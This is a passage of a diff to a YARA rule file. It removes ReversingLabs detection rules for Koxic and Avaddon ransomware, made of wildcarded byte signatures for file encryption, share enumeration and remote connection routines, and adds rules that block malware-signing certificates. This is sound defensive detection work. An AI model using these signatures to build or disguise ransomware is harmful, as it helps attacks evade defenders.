8B 4D ?? B8 ?? ?? ?? ?? 89 4D ?? E8 ?? ?? ?? - ?? 8B F4 85 F6 0F 84 ?? ?? ?? ?? 8B D6 81 EA ?? ?? ?? ?? 83 C2 ?? 89 55 ?? 8B D6 81 - EA ?? ?? ?? ?? 83 C2 ?? 89 55 ?? 8B D6 8B CE 8B FE 81 EA ?? ?? ?? ?? 33 C0 81 E9 ?? - ?? ?? ?? 81 EF ?? ?? ?? ?? 83 C2 ?? C6 46 ?? ?? 89 55 ?? 8B 5D ?? 8A D0 80 E2 ?? 02 - 90 ?? ?? ?? ?? 32 90 ?? ?? ?? ?? 88 94 01 ?? ?? ?? ?? 8D 50 ?? 80 E2 ?? 02 90 ?? ?? - ?? ?? 32 90 ?? ?? ?? ?? 88 94 07 ?? ?? ?? ?? 8D 50 ?? 80 E2 ?? 02 90 ?? ?? ?? ?? 32 - 90 ?? ?? ?? ?? 88 94 03 ?? ?? ?? ?? 8B 5D ?? 8D 50 ?? 80 E2 ?? 02 90 ?? ?? ?? ?? 32 - 90 ?? ?? ?? ?? 88 94 03 ?? ?? ?? ?? 8B 5D ?? 8D 50 ?? 80 E2 ?? 02 90 ?? ?? ?? ?? 32 - 90 ?? ?? ?? ?? 88 94 03 ?? ?? ?? ?? 8D 50 ?? 80 E2 ?? 02 90 ?? ?? ?? ?? 83 C0 ?? 32 - 90 ?? ?? ?? ?? 88 54 06 ?? 83 F8 ?? 0F 8C ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 4D ?? 50 51 - FF 15 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? - ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 55 ?? 52 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? C7 45 - ?? ?? ?? ?? ?? FF D6 85 C0 75 ?? 8B 3D ?? ?? ?? ?? 8D 49 ?? 68 ?? ?? ?? ?? FF D7 8D - 45 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF D6 85 C0 74 ?? 50 FF 15 ?? ?? ?? - ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B FC 85 FF 0F 84 ?? ?? ?? ?? 8B D7 81 EA ?? ?? ?? - ?? 83 C2 ?? 89 55 ?? 8B D7 81 EA ?? ?? ?? ?? 83 C2 ?? 89 55 ?? 8B D7 8B CF 8B F7 81 - } - $encrypt_files_p2 = { - EA ?? ?? ?? ?? 33 C0 81 E9 ?? ?? ?? ?? 81 EE ?? ?? ?? ?? 83 C2 ?? C6 47 ?? ?? 89 55 - ?? 8B 5D ?? 8A D0 80 E2 ?? 02 90 ?? ?? ?? ?? 32 90 ?? ?? ?? ?? 88 94 08 ?? ?? ?? ?? - 8D 50 ?? 80 E2 ?? 02 90 ?? ?? ?? ?? 32 90 ?? ?? ?? ?? 88 94 30 ?? ?? ?? ?? 8D 50 ?? - 80 E2 ?? 02 90 ?? ?? ?? ?? 32 90 ?? ?? ?? ?? 88 94 18 ?? ?? ?? ?? 8B 5D ?? 8D 50 ?? - 80 E2 ?? 02 90 ?? ?? ?? ?? 32 90 ?? ?? ?? ?? 88 94 18 ?? ?? ?? ?? 8B 5D ?? 8D 50 ?? - 80 E2 ?? 02 90 ?? ?? ?? ?? 32 90 ?? ?? ?? ?? 88 94 18 ?? ?? ?? ?? 8D 50 ?? 80 E2 ?? - 02 90 ?? ?? ?? ?? 83 C0 ?? 32 90 ?? ?? ?? ?? 88 54 07 ?? 83 F8 ?? 0F 8C ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8B D8 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B C8 2B 4D ?? - B8 ?? ?? ?? ?? F7 E1 8B CA C1 E9 ?? B8 ?? ?? ?? ?? F7 E1 C1 EA ?? 8B C2 C1 E0 ?? 2B - C2 03 C0 03 C0 2B C8 8B F2 B8 ?? ?? ?? ?? F7 E6 A1 ?? ?? ?? ?? 51 C1 EA ?? 8B CA C1 - E1 ?? 2B CA 03 C9 03 C9 2B F1 56 52 8B 15 ?? ?? ?? ?? 52 50 53 57 E8 ?? ?? ?? ?? 83 - C4 ?? 85 DB 0F 84 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B D8 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B C8 2B - 4D ?? B8 ?? ?? ?? ?? F7 E1 8B CA C1 E9 ?? B8 ?? ?? ?? ?? F7 E1 C1 EA ?? 8B C2 C1 E0 - ?? 2B C2 03 C0 03 C0 2B C8 8B F2 B8 ?? ?? ?? ?? F7 E6 A1 ?? ?? ?? ?? 51 C1 EA ?? 8B - CA C1 E1 ?? 2B CA 03 C9 03 C9 2B F1 56 52 8B 15 ?? ?? ?? ?? 52 50 53 57 E8 ?? ?? ?? - ?? 83 C4 ?? 85 DB 0F 85 ?? ?? ?? ?? 8D 65 ?? 5F 5E 5B 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $enum_network_resources ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CFES Projects Ltd" and pe.signatures [ i ] . serial == "7c:7f:c3:61:6f:31:57:a2:8f:70:2c:c1:df:27:5d:cd" and 1522972800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Koxic : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_73Ed1B2F4Bf8Dd37A8Ad9Bb775774592 : INFO FILE { meta: - description = "Yara rule that detects Koxic ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "73c4afb0-cfa8-5bc5-bca3-49a7710f4ab9" - date = "2022-04-21" - modified = "2022-04-21" + id = "19c9e100-b017-5b5c-8e8f-c94ea9e228c2" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Koxic.yara#L1-L87" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14968-L14984" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "739faf047b95fd538422a42943fcaad6538549bf4cf33ed91385c61365af4f09" + logic_hash = "69865935e07ea255a5d690e170911b33574ea61550b00bebc2ceff91ba9a33da" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Koxic" - tc_detection_factor = 5 - importance = 25 - - strings: - $enum_shares_p1 = { - 8B 45 ?? 50 6A ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 55 ?? 52 8B 45 ?? 50 8D 4D - ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 4D ?? 3B 4D ?? 0F 83 ?? ?? ?? ?? 8B - 55 ?? C1 E2 ?? 8B 45 ?? 83 7C 10 ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 4D ?? C1 - E1 ?? 8B 55 ?? 8B 44 0A ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 8B 4D ?? C1 E1 ?? 8B 55 ?? 8B 44 0A ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? - ?? 8B 4D ?? C1 E1 ?? 8B 55 ?? 8B 44 0A ?? 50 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? C1 E0 ?? 8B 4D ?? 8B - } - $enum_shares_p2 = { - 54 01 ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? - 0F B6 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? - 51 FF 15 ?? ?? ?? ?? 83 E8 ?? 89 45 ?? EB ?? 8B 55 ?? 83 EA ?? 89 55 ?? 83 7D ?? ?? - 0F 8C ?? ?? ?? ?? 8B 45 ?? 0F B7 8C 45 ?? ?? ?? ?? 83 F9 ?? 0F 85 ?? ?? ?? ?? 8B 55 - ?? 0F B7 84 55 ?? ?? ?? ?? 83 F8 ?? 75 ?? C6 45 ?? ?? EB ?? 8B 4D ?? 8D 94 4D ?? ?? - ?? ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 33 C9 8B 55 ?? 66 89 8C 55 ?? ?? FF - FF 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 - ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 8B 4D ?? 51 8D 95 ?? ?? ?? ?? 52 8D 85 - ?? ?? ?? ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? EB ?? E9 ?? ?? ?? ?? 8B 55 ?? 83 EA ?? 89 - 55 ?? E9 ?? ?? ?? ?? EB ?? 8B 45 ?? C1 E0 ?? 8B 4D ?? 8B 54 01 ?? 83 E2 ?? 74 ?? 8B - 45 ?? C1 E0 ?? 8B 4D ?? 8B 54 01 ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 - ?? C1 E0 ?? 03 45 ?? B9 ?? ?? ?? ?? 6B D1 ?? 89 44 15 ?? B8 ?? ?? ?? ?? C1 E0 ?? 8B - 4D ?? 89 4C 05 ?? BA ?? ?? ?? ?? D1 E2 8B 45 ?? 89 44 15 ?? 8D 4D ?? 51 E8 ?? ?? ?? - ?? 83 C4 ?? E9 ?? ?? ?? ?? EB ?? 81 7D ?? ?? ?? ?? ?? 74 ?? EB ?? 81 7D ?? ?? ?? ?? - ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 - C0 75 ?? B8 ?? ?? ?? ?? EB ?? 33 C0 - } - $find_files = { - 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 33 D2 8B 45 ?? 66 89 10 - 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 33 C0 E9 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 0F B6 C0 83 F8 ?? 75 ?? E9 ?? - ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 55 ?? 8D 44 02 ?? 3D ?? ?? ?? ?? - 72 ?? E9 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 8B - 48 ?? 81 79 ?? ?? ?? ?? ?? 76 ?? 6A ?? FF 15 ?? ?? ?? ?? EB ?? 8B 95 ?? ?? ?? ?? 83 - E2 ?? 74 ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 8B 0D ?? ?? ?? ?? 51 - FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 0D - ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? BA ?? ?? ?? ?? C1 E2 ?? 8B 45 ?? 89 44 15 ?? 8D 4D - ?? 51 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 - C0 75 ?? 6A ?? A1 - } - $encrypt_files = { - 8D 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 7F ?? 7C ?? 83 7D ?? ?? 73 ?? - E9 ?? ?? ?? ?? 6A ?? 6A ?? 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 4D ?? 2B C8 8B - 45 ?? 1B C2 89 4D ?? 89 45 ?? 6A ?? 8B 4D ?? 51 8B 55 ?? 52 6A ?? 6A ?? 8B 45 ?? 50 - FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 77 ?? 72 ?? - 81 7D ?? ?? ?? ?? ?? 73 ?? 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 6A ?? 8B 4D ?? 51 FF - 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 E8 ?? - ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? EB ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? - EB ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 8B 4D ?? 51 6A ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 - 45 - } + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( all of ( $enum_shares_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "5000 LIMITED" and pe.signatures [ i ] . serial == "73:ed:1b:2f:4b:f8:dd:37:a8:ad:9b:b7:75:77:45:92" and 1528243200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Avaddon : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_211B5Dfe65Bc6F34Bc9D3A54 : INFO FILE { meta: - description = "Yara rule that detects Avaddon ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f3a57482-5799-594b-bcfa-1137ca04dfd5" - date = "2020-10-19" - modified = "2020-10-19" + id = "5181b6e4-6a25-58f6-88c5-0eae98250648" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Avaddon.yara#L1-L148" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14986-L15002" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1b2c449d5bad02dd06cb4a980fcca1feaf02b1d8127096bb39deecbc544272a6" + logic_hash = "cf2e4c0dd98efb77c28b63641196c83e60afc0d6ab64802743c351581506dbb5" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Avaddon" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 8B FF 55 8B EC 51 8B 4D ?? 53 57 33 DB 8D 51 ?? 66 8B 01 83 C1 ?? 66 3B C3 75 ?? 8B - 7D ?? 2B CA D1 F9 8B C7 41 F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 5F 5B C9 C3 56 8D 5F - ?? 03 D9 6A ?? 53 E8 ?? ?? ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? - ?? ?? 83 C4 ?? 85 C0 75 ?? FF 75 ?? 2B DF 8D 04 7E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 - C4 ?? 85 C0 75 ?? 8B 7D ?? 8B CF E8 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 56 E8 ?? ?? ?? ?? - 59 EB ?? 8B 47 ?? 89 30 83 47 ?? ?? 33 DB 6A ?? E8 ?? ?? ?? ?? 59 8B C3 5E EB ?? 33 - C0 50 50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 8B 55 ?? 8B 4D ?? 53 8B 5D ?? 89 8D ?? ?? ?? ?? 56 57 3B D3 74 ?? 0F - B7 02 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 84 C0 75 ?? 83 EA ?? 3B D3 75 ?? 8B 8D ?? - ?? ?? ?? 0F B7 32 83 FE ?? 75 ?? 8D 43 ?? 3B D0 74 ?? 51 33 FF 57 57 53 E8 ?? ?? ?? - ?? 83 C4 ?? E9 ?? ?? ?? ?? 56 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 2B D3 0F B6 C0 D1 FA - 42 F7 D8 1B C0 33 FF 57 57 23 C2 57 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 53 FF - 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ?? ?? 83 FE ?? 75 ?? 50 57 57 53 E8 ?? ?? ?? ?? 83 - C4 ?? 8B F8 E9 ?? ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 6A ?? 89 8D ?? ?? ?? ?? 59 66 39 - 8D ?? ?? ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 66 39 8D ?? ?? ?? ?? 75 ?? 66 39 BD - ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 - ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 6A ?? 85 C0 8B 85 ?? ?? ?? - ?? 59 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ?? ?? ?? - ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8B F8 56 FF 15 ?? ?? ?? - ?? 8B C7 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3 - } - $encrypt_files_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 8B 45 ?? 8B - 7D ?? 85 C0 0F 84 ?? ?? ?? ?? 83 FF ?? 0F 84 ?? ?? ?? ?? 6A ?? 8D 4D ?? C7 45 ?? ?? - ?? ?? ?? 51 6A ?? 6A ?? 6A ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 - } - $encrypt_files_p2 = { - 6A ?? 8D 45 ?? 0F 57 C0 50 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 57 FF 15 ?? ?? ?? ?? 85 - C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 6A ?? 51 8D 45 ?? 0F 43 45 ?? 68 ?? ?? ?? - ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 - ?? 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 33 F6 39 75 ?? 0F 86 ?? ?? ?? ?? 83 - 7D ?? ?? 8D 45 ?? 8D 4D ?? 0F 43 45 ?? 83 7D ?? ?? 68 ?? ?? ?? ?? 0F 43 4D ?? 03 C6 - 50 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 8D 45 ?? 0F - 43 45 ?? 53 51 50 6A ?? 6A ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? - ?? 83 7D ?? ?? 8D 4D ?? 6A ?? 51 8D 45 ?? 0F 43 45 ?? 53 50 57 FF 15 ?? ?? ?? ?? 85 - C0 0F 84 ?? ?? ?? ?? 81 C6 ?? ?? ?? ?? 3B 75 ?? 0F 82 ?? ?? ?? ?? 83 7D ?? ?? 74 - } - $encrypt_files_p3 = { - 8B 45 ?? 89 45 ?? 8B 45 ?? 6A ?? 89 45 ?? 8D 45 ?? 50 51 52 57 89 55 ?? 89 4D ?? FF - 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 9D ?? ?? ?? ?? 83 7B ?? ?? 8D 43 ?? 72 ?? 8B 00 6A ?? - 8D 4D ?? 51 FF 73 ?? 50 57 FF D6 85 C0 74 ?? 8B 4B ?? 39 4D ?? 75 ?? 8B 45 ?? 89 85 - ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 6A ?? 89 45 ?? 8D 45 ?? 50 6A ?? 8D 85 ?? ?? - ?? ?? 89 4D ?? 50 57 C7 45 ?? ?? ?? ?? ?? FF D6 85 C0 74 ?? 83 7D ?? ?? 75 ?? B3 ?? - EB ?? 32 DB 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 - ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 - 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 - 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? - ?? ?? ?? 83 C4 ?? 8A C3 EB ?? 32 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D - ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 - } - $remote_connection_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 45 ?? 33 C9 8B 75 ?? 89 85 ?? - ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? 66 89 8D ?? ?? ?? ?? 89 4D ?? 39 4E ?? 0F 84 ?? ?? ?? ?? 66 39 4E ?? 0F 86 ?? ?? - ?? ?? 39 4E ?? 0F 84 ?? ?? ?? ?? 39 4E ?? 0F 84 ?? ?? ?? ?? 8B 06 8D 8D ?? ?? ?? ?? - 8B 7E ?? BA ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 78 ?? ?? 72 ?? 8B 00 6A - ?? 6A ?? 57 FF B5 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B F8 89 BD ?? - ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? - ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? - ?? ?? 83 C4 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 - 89 85 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 83 7E ?? ?? 8D 46 ?? 0F B7 4E ?? 72 ?? 8B - } - $remote_connection_p2 = { - 00 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 51 50 57 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? - ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 7E ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8B D0 83 7A ?? ?? 72 ?? 8B 12 83 7E ?? ?? 8D 4E ?? 72 ?? 8B 09 83 7E ?? ?? 8D 46 ?? - 72 ?? 8B 00 6A ?? 57 6A ?? 6A ?? 52 51 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 95 - ?? ?? ?? ?? 8B F8 89 BD ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? - ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 - ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 8B 46 ?? 85 C0 - 75 ?? 50 50 50 50 57 FF 15 ?? ?? ?? ?? EB ?? 83 C6 ?? 83 7E ?? ?? 72 ?? 8B 36 50 56 - 6A ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 - } - $enum_resources_p1 = { - 33 D2 89 7D ?? 89 7D ?? 89 75 ?? 89 45 ?? 89 45 ?? 89 4D ?? 89 55 ?? 89 55 ?? 39 56 - ?? 0F 84 ?? ?? ?? ?? 89 55 ?? 89 55 ?? 89 55 ?? 89 55 ?? 83 7E ?? ?? 8B C6 72 ?? 8B - 06 8D 4D ?? 51 8D 4D ?? 51 8D 4D ?? 51 6A ?? 8D 4D ?? 51 6A ?? 50 FF 15 ?? ?? ?? ?? - 89 45 ?? 85 C0 74 ?? 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8B 45 ?? 89 45 ?? - C7 45 ?? ?? ?? ?? ?? 0F 82 - } - $enum_resources_p2 = { - 8D 4D ?? D1 F8 50 52 E8 ?? ?? ?? ?? 8B 7D ?? 8D 4D ?? 8B 75 ?? 83 FF ?? 8B 55 ?? 6A - ?? 68 ?? ?? ?? ?? 0F 43 CE 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? - 8B 7D ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 33 C0 8B 75 ?? 66 89 85 ?? ?? ?? ?? 83 CE ?? - 8B 47 ?? 83 C0 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 - 75 ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7F ?? - ?? 8B C7 72 ?? 8B 07 FF 77 ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? - ?? 8D 8D ?? ?? ?? ?? E8 - } - $enum_resources_p3 = { - 53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ?? - ?? 64 A1 ?? ?? ?? ?? 50 53 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 57 50 8D 45 ?? - 64 A3 ?? ?? ?? ?? 8B 43 ?? 8D 4D ?? 89 45 ?? 89 45 ?? 66 8B 43 ?? 6A ?? 68 ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? - 8D 4D ?? 8D 45 ?? 0F 43 45 ?? 51 50 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 7D ?? 8D 45 ?? - 8B 75 ?? 8D 4D ?? 8B 55 ?? 83 FF ?? 0F 43 45 ?? 0F 43 CA 8D 04 70 89 45 ?? 8D 45 ?? - 0F 43 45 ?? 8D 04 70 3B C8 74 ?? 66 83 39 ?? 74 ?? 83 C1 ?? 3B C8 75 ?? 3B C8 74 ?? - 8D 51 ?? 3B D0 74 - } - condition: - 